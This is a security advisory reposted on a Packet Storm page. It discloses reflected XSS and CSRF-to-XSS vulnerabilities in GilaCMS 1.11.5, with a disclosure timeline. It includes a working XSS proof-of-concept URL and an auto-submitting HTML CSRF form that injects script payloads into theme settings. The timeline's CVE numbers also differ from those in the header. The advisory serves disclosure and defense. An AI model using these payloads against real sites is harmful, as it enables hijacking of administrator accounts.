what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

GilaCMS 1.11.5 Cross Site Request Forgery / Cross Site Scripting

GilaCMS 1.11.5 Cross Site Request Forgery / Cross Site Scripting
Posted Jun 23, 2020
Authored by Rodolfo Tavares | Site tempest.com.br

GilaCMS version 1.11.5 suffers from cross site request forgery and cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss, csrf
advisories | CVE-2019-20803, CVE-2019-20804
SHA-256 | 6603d87a861a3d845fa61f9b588c6b86e0c8fe070114880b2f66b4cd804da8df

GilaCMS 1.11.5 Cross Site Request Forgery / Cross Site Scripting

Change Mirror Download
=====[ Tempest Security Intelligence - ADV-07/2020 ]==========================

GilaCMS - Version 1.11.5

Author: Rodolfo Tavares

Tempest Security Intelligence - Recife, Pernambuco - Brazil

=====[ Table of Contents]==================================================
* Overview
* Detailed description
* Timeline of disclosure
* Thanks & Acknowledgements
* References

=====[ Vulnerability Information]=============================================
* Class: Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting') [CWE-79], Cross-Site Request Forgery
(CSRF) [CWE-352]

* CVSS:6.8.0/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

* CVE-2019-20804, CVE-2019-20803

=====[ Overview]========================================================
* System affected : GilaCMS - Version 1.11.5
* Software Version : Version 1.11.5 (other versions may also be affected).
* Impacts :

* XSS: Gila CMS before 1.11.6 is vulnerable to reflected XSS via the admin/content/postcategory in the id parameter, which is mishandled by g_preview_them.

* XSS and CSRF: Gila CMS before 1.11.6 allows for CSRF resulting in XSS via the admin/themes URI, leading to full compromise of the admin account.

=====[ Detailed description]=================================================

1- XSS at [http://localhostgila.com/admin/content/postcategory|http://localhostgila.com/admin/content/postcategory*] id parameter:

To exploit the XSS via GET in the endpoint *cm/edit_form/postcategory* and parameter *id*, just insert a double quotes character (") to escape the string the, close the current by adding a ">" then include a javascript payload. Follows an example:

* [http://localhostgila.com/cm/edit_form/postcategory?id=8"><script>alert(1)</script>]

2- CSRF and XSS at admin/themes:

The following HTML code exploits both XSS and CSRF vulnerabilities. The admin/themes form is vulnerable to CSRF due to the lack of anti-CSRF tokens, and to XSS due to no proper validations of its inputs. To exploit these vulnerabilities, an attacker should host the following form and trick the administrator into visit this page.

<html> <body> <script>history.pushState('', '', '/') </script>
<form action="http://localhostgila.com/admin/themes?g_response=content&save_options=startbootstrap-creative" method="POST" enctype="multipart/form-data">
<input type="hidden" name="option[color]" value="#e91428" />
<input type="hidden" name="option[header-title]" value="Test" />
<input type="hidden" name="option[header-text]" value=""><script>alert(document.cookie)</script><!--" />
<input type="hidden" name="option[header-image]" value="" />
<input type="hidden" name="option[about-title]" value="<script>alert(0)<script>" />
<input type="hidden" name="option[about-text]" value="<script>alert(3)<script>" />
<input type="hidden" name="option[service-category]" value="1" />
<input type="hidden" name="option[project-category]"value="1" />
<input type="hidden" name="option[contact-title]"value="<script>alert(4)<script>" />
<input type="hidden" name="option[contact-text]" value="<script>alert(5)<script>" />
<input type="hidden" name="option[contact-email]" value="<script>alert(6)<script>" />
<input type="hidden" name="option[contact-phone]" value="<script>alert(7)<script>" />
<input type="submit" value="Submit request" /></form>
<script>
document.forms[0].submit(); </script>
</body>
</html>

=====[ Timeline of disclosure]===============================================

29/Oct/2019 - Responsible disclosure was initiated with the vendor.
02/Nov/2019 - GilaCms confirmed the issue;
07/Nov/2019 - The vendor fixed the vulnerability CSRF.
07/Nov/2019 - The vendor fixed the vulnerability XSS.
22/May/2020 - CVEs was assigned and reserved as CVE-2019-13364 CVE-2019-13363

=====[ Thanks & Acknowledgements]========================================
* Tempest Security Intelligence [5]

=====[ References ]=====================================================

[1][ [https://cwe.mitre.org/data/definitions/352.html]|https://cwe.mitre.org/data/definitions/352.html]
[2][ [https://cwe.mitre.org/data/definitions/79.html]|https://cwe.mitre.org/data/definitions/79.html]
[3][ [https://github.com/GilaCMS/gila/issues/56]]
[4][ [https://github.com/GilaCMS/gila/issues/57]]
[5][ [https://www.tempest.com.br|https://www.tempest.com.br/]|https://www.tempest.com.br/]

=====[ EOF ]===========================================================
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close